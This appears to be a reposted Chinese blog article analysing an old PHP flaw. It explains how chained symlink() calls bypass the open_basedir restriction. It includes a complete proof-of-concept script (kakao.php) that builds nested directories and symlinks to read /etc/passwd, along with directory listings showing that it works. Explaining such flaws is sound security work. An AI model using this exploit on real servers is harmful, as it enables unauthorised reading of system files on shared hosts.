symlink() open_basedir bypass 原理分析
来源:互联网 发布:gpt分区安装ubuntu 编辑:程序博客网 时间:2024/05/15 17:32
之前在网上看到相关php open_basedir bypass的文章都不是很理解,看了原作者的文章后总算明白了。
原文:http://cxsecurity.com/issue/WLB-2009110068
ok,先来了解一下什么是open_basedir。
open_basedir 将 PHP 所能打开的文件限制在指定的目录树,包括文件本身。本指令不受安全模式打开或者关闭的影响。
当一个脚本试图用例如 fopen() 或者 gzopen() 打开一个文件时,该文件的位置将被检查。当文件在指定的目录树之外时 PHP 将拒绝打开它。所有的符号连接都会被解析,所以不可能通过符号连接来避开此限制。
关于open_basedir的更多信息请参考:http://php.net/manual/zh/ini.core.php#ini.open-basedir
再来了解一下symlink()函数。
symlink — 建立符号连接
bool symlink ( string $target , string $link )
symlink() 对于已有的 target 建立一个名为 link 的符号连接
关于symlink()的更多信息请参考:http://php.net/manual/zh/function.symlink.php
接下来是一个例子,之所以能利用symlink()绕过open_basedir的限制,按照作者的话,这算是php的一个逻辑漏洞。
<?php//sym.phpsymlink("/etc/passwd", "./symlink");?>
如果直接执行上面的文件,将会收到类似下面的提示:
Warning: symlink(): open_basedir restriction in effect. File(/etc/passwd) is not within the allowed path(s): (/www) in
/www/test/sym.php on line 2
这很正常,因为open_basedir=/www/ ,而我们要访问的是/etc/passwd,很明显不在范围之内,故而被拒绝了。
先说一下测试环境:
127# ls -la
total 8
drwxr-xr-x 2 www www 512 Oct 20 00:33 .
drwxr-xr-x 13 www www 1536 Oct 20 00:26 ..
- -rw-r--r-- 1 www www 356 Oct 20 00:32 kakao.php
- -rw-r--r-- 1 www www 45 Oct 20 00:26 sym.php
127# pwd
/www/test
刚才用sym.php无法绕过,现在用kakao.php来测试。
<?php//kakao.phpmkdir("abc");chdir("abc");mkdir("etc");chdir("etc");mkdir("passwd");chdir("..");mkdir("abc");chdir("abc");mkdir("abc");chdir("abc");mkdir("abc");chdir("abc");chdir("..");chdir("..");chdir("..");chdir("..");symlink("abc/abc/abc/abc","tmplink");symlink("tmplink/../../../etc/passwd", "exploit");unlink("tmplink");mkdir("tmplink");?>
成功执行kakao.php后,看一下当前目录有什么变化。
127# ls -la
total 12
drwxr-xr-x 4 www www 512 Oct 20 00:37 .
drwxr-xr-x 13 www www 1536 Oct 20 00:26 ..
drwxr-xr-x 4 www www 512 Oct 20 00:37 abc
lrwxr-xr-x 1 www www 27 Oct 20 00:37 exploit -> tmplink/../../../etc/passwd
- -rw-r--r-- 1 www www 356 Oct 20 00:32 kakao.php
- -rw-r--r-- 1 www www 45 Oct 20 00:26 sym.php
drwxr-xr-x 2 www www 512 Oct 20 00:37 tmplink
看出来了吧,多了一个链接文件和两个文件夹。此时访问文件exploit就相当于访问/etc/passwd了。
为什么这样就可以了呢?
这是PHP设计之初的一个逻辑缺陷,之所以能够访问"tmplink/../../../etc/passwd",是因为该路径真实存在,而且从头到尾没触发到open_basedir,所以当然可以访问得到。我们需要根据具体要访问的文件来构造目录,使得最终访问到的是我们想要访问的文件。
- symlink() open_basedir bypass 原理分析
- bypass open_basedir
- PHP 5.2.12 / 5.3.1 safe_mode / open_basedir Bypass
- symlink
- PHP中open_basedir配置分析
- Bypass功能及原理介绍
- PHP 5.2.12/5.3.1 session.save_path safe_mode and open_basedir bypass
- php open_basedir的使用与性能分析
- 反NP监视原理(+Bypass NP in ring0
- 反NP监视原理(+Bypass NP in ring0)
- (转载)反nProtect监视原理(+Bypass NP in ring0)
- php文件包含目录配置open_basedir的使用与性能分析
- Bypass FsdFilter
- Bypass RestoreSystem
- bypass ujvc
- ByPass UAC
- bypass更新
- DEP bypass
- 盗梦空间
- 面向对象(上)
- maven的使用
- 爱摘苹果的小明
- 华为机试—单词计数
- symlink() open_basedir bypass 原理分析
- 喷水装置(一)
- 小明的调查作业
- Windows 上安装 Jekyll
- Lua中的table函数库
- JSP page指令详解
- 图形处理 使用drawBitmapMesh扭曲图像
- PHP基础知识(一)
- 小明的烦恼